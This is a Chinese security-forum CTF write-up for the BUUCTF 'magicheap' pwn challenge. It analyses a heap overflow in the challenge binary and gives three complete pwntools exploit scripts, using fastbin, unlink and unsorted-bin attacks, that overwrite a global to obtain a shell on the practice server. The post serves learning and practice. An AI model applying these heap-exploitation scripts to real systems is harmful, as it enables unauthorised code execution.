首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
Pwn
发新帖
0
1
[原创][BUUCTF刷题记录]hitcontraining_magicheap
发表于: 2025-12-16 14:01
16060
[原创][BUUCTF刷题记录]hitcontraining_magicheap
G0t1T
1
2025-12-16 14:01
16060
<font style="color:rgb(33, 37, 41);">这道题程序跟[ZJCTF 2019]EasyHeap其实是一样的,区别在于前者让magic大于0x1305就可以拿到shell,后者就需要改got表才行,因为最近我刚学了fastbin attack,unlink attack,unsotred attack这三种(后两种攻击都涉及到了双向链表出链的操作)突然发现这道题可以用这三种攻击分别解决,就拿来练练,巩固一下~</font> --- # <font style="color:rgb(0, 0, 0);">1. 查看保护</font> <font style="color:rgb(0, 0, 0);">先看程序开了哪些保护,开了canary和NX,没有pie,Partial RELRO表明可以修改got表(虽然这题不用改got表) </font> # <font style="color:rgb(0, 0, 0);">2. 看源码</font> ## <font style="color:rgb(0, 0, 0);">main函数</font> <font style="color:rgb(0, 0, 0);">可以看到有一个menu函数</font> ```python int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { int v3; // eax char buf[8]; // [rsp+0h] [rbp-10h] BYREF unsigned __int64 v5; // [rsp+8h] [rbp-8h] v5 = __readfsqword(0x28u); setvbuf(_bss_start, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); while ( 1 ) { while ( 1 ) { menu(); read(0, buf, 8uLL); v3 = atoi(buf); if ( v3 != 3 ) break; delete_heap(); } if ( v3 > 3 ) { if ( v3 == 4 ) exit(0); if ( v3 == 4869 ) { if ( (unsigned __int64)magic <= 0x1305 ) { puts("So sad !"); } else { puts("Congrt !"); l33t(); } } else { LABEL_17: puts("Invalid Choice"); } } else if ( v3 == 1 ) { create_heap(); } else { if ( v3 != 2 ) goto LABEL_17; edit_heap(); } } } ``` ## <font style="color:rgb(0, 0, 0);">menu函数</font> <font style="color:rgb(0, 0, 0);">可以看到是一个菜单题,程序有三个功能,分别是进行创建,编辑,删除操作。</font> ```python int menu() { puts("--------------------------------"); puts(" Magic Heap Creator "); puts("--------------------------------"); puts(" 1. Create a Heap "); puts(" 2. Edit a Heap "); puts(" 3. Delete a Heap "); puts(" 4. Exit "); puts("--------------------------------"); return printf("Your choice :"); } ``` ## <font style="color:rgb(0, 0, 0);">create_heap函数</font> <font style="color:rgb(0, 0, 0);">可以看到这个函数会依次遍历heaparray数组,看哪个元素没有分配chunk,找到后,分配一个chunk,chunk大小可以自定义,然后写入内容,注意:</font>**<font style="color:rgb(0, 0, 0);">heaparray数组的元素存放的是chunk的数据部分的指针。</font>** ```python unsigned __int64 create_heap() { int i; // [rsp+4h] [rbp-1Ch] size_t size; // [rsp+8h] [rbp-18h] char buf[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); for ( i = 0; i <= 9; ++i ) { if ( !heaparray[i] ) { printf("Size of Heap : "); read(0, buf, 8uLL); size = atoi(buf); heaparray[i] = malloc(size); if ( !heaparray[i] ) { puts("Allocate Error"); exit(2); } printf("Content of heap:"); read_input(heaparray[i], size); puts("SuccessFul"); return __readfsqword(0x28u) ^ v4; } } return __readfsqword(0x28u) ^ v4; } ``` ## <font style="color:rgb(0, 0, 0);">edit_heap函数</font> <font style="color:rgb(0, 0, 0);">这个函数则根据用户输入的索引(从0开始),修改chunk的数据部分,特别的</font>`read_input(*(&heaparray + v1), v2);`<font style="color:rgb(0, 0, 0);">这里写入内容的大小竟然还是自定义的,所以这里可以覆盖其他chunk的内容</font> ```python int edit_heap() { unsigned int v1; // [rsp+0h] [rbp-10h] char buf[4]; // [rsp+4h] [rbp-Ch] BYREF __int64 v3; // [rsp+8h] [rbp-8h] printf("Index :"); read(0, buf, 4uLL); v1 = atoi(buf); if ( v1 >= 0xA ) { puts("Out of bound!"); _exit(0); } if ( !heaparray[v1] ) return puts("No such heap !"); printf("Size of Heap : "); read(0, buf, 8uLL); v3 = atoi(buf); printf("Content of heap : "); read_input(heaparray[v1], v3); return puts("Done !"); } ``` ## <font style="color:rgb(0, 0, 0);">delete_heap函数</font> <font style="color:rgb(0, 0, 0);">这里根据索引(从0开始)来free,没啥毛病</font> ```python int delete_heap() { unsigned int v1; // [rsp+8h] [rbp-8h] char buf[4]; // [rsp+Ch] [rbp-4h] BYREF printf("Index :"); read(0, buf, 4uLL); v1 = atoi(buf); if ( v1 >= 0xA ) { puts("Out of bound!"); _exit(0); } if ( !heaparray[v1] ) return puts("No such heap !"); free((void *)heaparray[v1]); heaparray[v1] = 0LL; return puts("Done !"); } ``` ## <font style="color:rgb(0, 0, 0);">l33t函数</font> <font style="color:rgb(0, 0, 0);">可以看到main函数里还可以设置menu的选项为4869,如果magic大于0x1305就可以执行l33t函数</font> <font style="color:rgb(0, 0, 0);"> </font><font style="color:rgb(0, 0, 0);">可以看到会给一个shell</font> ```python int l33t() { return system("/bin/sh"); } ``` 这道题我们只要让magic>0x1305就可以拿到shell了,有三种方式 第一种方式:使用fasbin attack中的<font style="color:rgba(0, 0, 0, 0.87);">Arbitrary Alloc,利用编辑功能的堆溢出覆盖fasbin的fd指针,使其指向在magic变量低地址方向的fake chunk,从而我们能够申请fake chunk达到修改magic值的目的</font> <font style="color:rgba(0, 0, 0, 0.87);">第二种方式:unlink attack,比如我们申请了chunk0和chunk1,利用编辑功能的堆溢出在chunk0数据部分伪造fake chunk,改写chunk1的presize和size中的inuse标志位,从而使得我们可以修改heaparray[0]的内容,实现任意地址写,只要把heaparray[0]改成magic地址,再用编辑功能改写magic即可</font> <font style="color:rgba(0, 0, 0, 0.87);">第三种方式:unsortedbin attack,比如我们申请了chunk0,chunk1,chunk2,free(chunk1)时将其放入unsortedbin,我们编辑chunk0利用堆溢出覆写chunk1的bk指针,结合unsotedbin attack(具体原理可以移步</font><a href="elink@1abK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0N6r3k6Q4x3X3c8%4K9h3E0A6i4K6u0W2L8%4u0Y4i4K6u0r3M7s2N6F1i4K6u0r3L8r3W2F1N6i4S2Q4x3V1k6#2M7$3g2J5i4K6u0V1L8h3!0V1k6g2)9J5c8X3S2W2j5i4m8Q4x3V1k6H3N6r3#2S2L8r3I4G2j5K6u0Q4x3V1k6#2L8Y4y4G2M7Y4c8W2k6q4)9J5k6r3u0A6L8W2)9J5k6r3q4@1N6r3q4U0K9#2)9J5c8R3`.`."><mark class="encrypted">020K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0N6r3k6Q4x3X3c8%4K9h3E0A6i4K6u0W2L8%4u0Y4i4K6u0r3M7s2N6F1i4K6u0r3L8r3W2F1N6i4S2Q4x3V1k6#2M7$3g2J5i4K6u0V1L8h3!0V1k6g2)9J5c8X3S2W2j5i4m8Q4x3V1k6H3N6r3#2S2L8r3I4G2j5K6u0Q4x3V1k6#2L8Y4y4G2M7Y4c8W2k6q4)9J5k6r3u0A6L8W2)9J5k6r3q4@1N6r3q4U0K9#2)9J5c8R3`.`.</mark></a><font style="color:rgba(0, 0, 0, 0.87);">),可以实现将任意地址修改为一个很大的值,也就能达到修改magic使其大于0x1305的目的。</font> # <font style="color:rgba(0, 0, 0, 0.87);">分析过程</font> ```python def allocate(size,payload): io.recvuntil(b"Your choice :") io.send(b'1') io.recvuntil(b"Size of Heap : ") io.send(str(size).encode()) io.recvuntil(b"Content of heap:") io.send(payload) def fill(index,payload): io.recvuntil(b"Your choice :") io.send(b'2') io.recvuntil(b"Index :") io.send(str(index).encode()) io.recvuntil(b"Size of Heap : ") io.send(str(len(payload)).encode()) io.recvuntil(b"Content of heap : ") io.send(payload) def free(index): io.recvuntil(b"Your choice :") io.send(b'3') io.recvuntil(b"Index :") io.send(str(index).encode()) def getshell(): io.recvuntil(b"Your choice :") io.send(b'4869') io.recv() io.interactive() ``` 先写下交互 ## <font style="color:rgba(0, 0, 0, 0.87);">思路一:fastbin attack</font> ```python allocate(0x60,b'aaa') #chunk0 allocate(0x60,b'aaa') #chunk1 free(1) ``` 首先申请两个chunk,再回收chunk1,此时fd指针为null  ```python #magic = 0x00000000006020A0 payload = b'a'*0x68 + p64(0x71) + p64(0x60208d) #修改chunk1的fd指针指向我们fake chunk:0x60208d fill(0,payload) ``` 先观察下magic附近,可以分配到0x60208d这个地方,这个fake chunk跟magic偏移是0x3,size是0x7f,符合fastbin要求,也能修改magic值   ```python allocate(0x60,b'aaa')#分配chunk1 allocate(0x60,b'\xFF'*0x8)#分配fake chunk,就能修改magic值了 ```  最后就是发送4689拿shell了  ## 思路二:unlink attack ```python heaparray = 0x6020C0 magic = 0x6020A0 allocate(0x60,b'aaa') #chunk0 allocate(0x80,b'aaa') #chunk1 ``` 先申请两个chunk  ```python payload = p64(0) # fake chunk的presize payload += p64(0x20) # fake chunk的size # FD->bk != P || BK->fd != P;fd和bk的设置是为了绕过这个检查 payload += p64(heaparray - 0x18) # fake chunk的fd,即&heaparray[0]-0x18 payload += p64(heaparray - 0x10) # fake chunk的bk,即&heaparray[0]-0x10 payload += p64(0x20) # 这里是为了绕过chunksize(P) != prev_size (next_chunk(P))这个检查 payload = payload.ljust(0x60,b'a') payload += p64(0x60) # chunk1的presize payload += p64(0x90) # chunk1的size,这里主要把inuse标志位改成0,这样free时就能触发unlink fill(0,payload) # 写入payload ``` 构造fake chunk,修改chunk1的presize和size  ```python free(1)# 触发unlink ``` 接着free chunk1就会触发unlink,heaparray[0]指向的是&heaparray[0]-0x18的位置  ```python payload = b'a'*0x18 + p64(magic) fill(0,payload) fill(0,p64(0xdeadbeaf)) ``` 我们可以实现任意地址写了,但是我们把heaparray[0]改成magic地址就行了  再改magic值  最后就是输入4869得到shell ## 思路三:unsortedbin attack ```python magic = 0x6020A0 allocate(0x60,b'aaa') #chunk0 allocate(0x80,b'aaa') #chunk1 allocate(0x80,b'aaa') #chunk2 free(1) ``` 首先申请三个chunk,free chunk1  ```python payload = b'a'*0x68 payload += p64(0x90) # chunk1的size payload += p64(0) # chunk1的fd payload += p64(magic - 0x10) # chunk1的bk fill(0,payload) # 写入payload ``` 利用堆溢出覆盖chunk1的bk指针  ```python allocate(0x80,b'aaa') #触发unsorted bin的unlink ``` 接着就是触发unlink,把magic值改成较大值了,这里的值其实就是上面的main_arena+88,具体可以看unsortedbin attack原理,这里就不赘述了,这个值通常也可以用来泄露libc基址  最后就是输入4869得到shell # EXP-1-fastbin attack ```python from pwn import * context(arch = 'amd64',os = 'linux',log_level = 'debug') #io = process('./magicheap') io=remote("node5.buuoj.cn",28312) #gdb.attach(io,'b *0x400CD6') def allocate(size,payload): io.recvuntil(b"Your choice :") io.send(b'1') io.recvuntil(b"Size of Heap : ") io.send(str(size).encode()) io.recvuntil(b"Content of heap:") io.send(payload) def fill(index,payload): io.recvuntil(b"Your choice :") io.send(b'2') io.recvuntil(b"Index :") io.send(str(index).encode()) io.recvuntil(b"Size of Heap : ") io.send(str(len(payload)).encode()) io.recvuntil(b"Content of heap : ") io.send(payload) def free(index): io.recvuntil(b"Your choice :") io.send(b'3') io.recvuntil(b"Index :") io.send(str(index).encode()) def getshell(): io.recvuntil(b"Your choice :") io.send(b'4869') io.recv() io.interactive() #pause() allocate(0x60,b'aaa') #chunk0 allocate(0x60,b'aaa') #chunk1 free(1) #magic = 0x00000000006020A0 payload = b'a'*0x68 + p64(0x71) + p64(0x60208d) #修改chunk1的fd指针指向我们fake chunk:0x60208d fill(0,payload) allocate(0x60,b'aaa')#分配chunk1 allocate(0x60,b'\xFF'*0x8)#分配fake chunk,就能修改magic值了 getshell() ``` # EXP-2-unlink attack ```python from pwn import * context(arch = 'amd64',os = 'linux',log_level = 'debug') #io = process('./magicheap') io=remote("node5.buuoj.cn",28312) #gdb.attach(io,'b *0x400CD6') def allocate(size,payload): io.recvuntil(b"Your choice :") io.send(b'1') io.recvuntil(b"Size of Heap : ") io.send(str(size).encode()) io.recvuntil(b"Content of heap:") io.send(payload) def fill(index,payload): io.recvuntil(b"Your choice :") io.send(b'2') io.recvuntil(b"Index :") io.send(str(index).encode()) io.recvuntil(b"Size of Heap : ") io.send(str(len(payload)).encode()) io.recvuntil(b"Content of heap : ") io.send(payload) def free(index): io.recvuntil(b"Your choice :") io.send(b'3') io.recvuntil(b"Index :") io.send(str(index).encode()) def getshell(): io.recvuntil(b"Your choice :") io.send(b'4869') io.recv() io.interactive() #pause() heaparray = 0x6020C0 magic = 0x6020A0 allocate(0x60,b'aaa') #chunk0 allocate(0x80,b'aaa') #chunk1 payload = p64(0) # fake chunk的presize payload += p64(0x20) # fake chunk的size # FD->bk != P || BK->fd != P;fd和bk的设置是为了绕过这个检查 payload += p64(heaparray - 0x18) # fake chunk的fd,即&heaparray[0]-0x18 payload += p64(heaparray - 0x10) # fake chunk的bk,即&heaparray[0]-0x10 payload += p64(0x20) # 这里是为了绕过chunksize(P) != prev_size (next_chunk(P))这个检查 payload = payload.ljust(0x60,b'a') payload += p64(0x60) # chunk1的presize payload += p64(0x90) # chunk1的size,这里主要把inuse标志位改成0,这样free时就能触发unlink fill(0,payload) # 写入payload free(1)# 触发unlink payload = b'a'*0x18 + p64(magic) fill(0,payload) fill(0,p64(0xdeadbeaf)) getshell() ``` # EXP-3-unsortedbin attack ```python from pwn import * context(arch = 'amd64',os = 'linux',log_level = 'debug') #io = process('./magicheap') io=remote("node5.buuoj.cn",28312) #gdb.attach(io,'b *0x400CD6') def allocate(size,payload): io.recvuntil(b"Your choice :") io.send(b'1') io.recvuntil(b"Size of Heap : ") io.send(str(size).encode()) io.recvuntil(b"Content of heap:") io.send(payload) def fill(index,payload): io.recvuntil(b"Your choice :") io.send(b'2') io.recvuntil(b"Index :") io.send(str(index).encode()) io.recvuntil(b"Size of Heap : ") io.send(str(len(payload)).encode()) io.recvuntil(b"Content of heap : ") io.send(payload) def free(index): io.recvuntil(b"Your choice :") io.send(b'3') io.recvuntil(b"Index :") io.send(str(index).encode()) def getshell(): io.recvuntil(b"Your choice :") io.send(b'4869') io.recv() io.interactive() #pause() magic = 0x6020A0 allocate(0x60,b'aaa') #chunk0 allocate(0x80,b'aaa') #chunk1 allocate(0x80,b'aaa') #chunk2 free(1) payload = b'a'*0x68 payload += p64(0x90) # chunk1的size payload += p64(0) # chunk1的fd payload += p64(magic - 0x10) # chunk1的bk fill(0,payload) # 写入payload allocate(0x80,b'aaa') #触发unsorted bin的unlink getshell() ```
登录后可查看完整内容
传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!
#基础知识
#溢出
#题解集锦
收藏
・
0
点赞
・
1
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
wx_晨梦
谢谢你的细致分析,受益匪浅!
2026-7-16 07:35
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
0
)
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
G0t1T
1
8
发帖
3
回帖
110
RANK
关注
私信
他的文章
[原创]HGAME 2026复现(1)
13768
[原创]hitcontraining_heapcreator
16800
[原创][BUUCTF刷题记录]hitcontraining_magicheap
16060
[原创]堆学习:Unlink attack
16031
初识IO_FILE Exploitation
16066
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部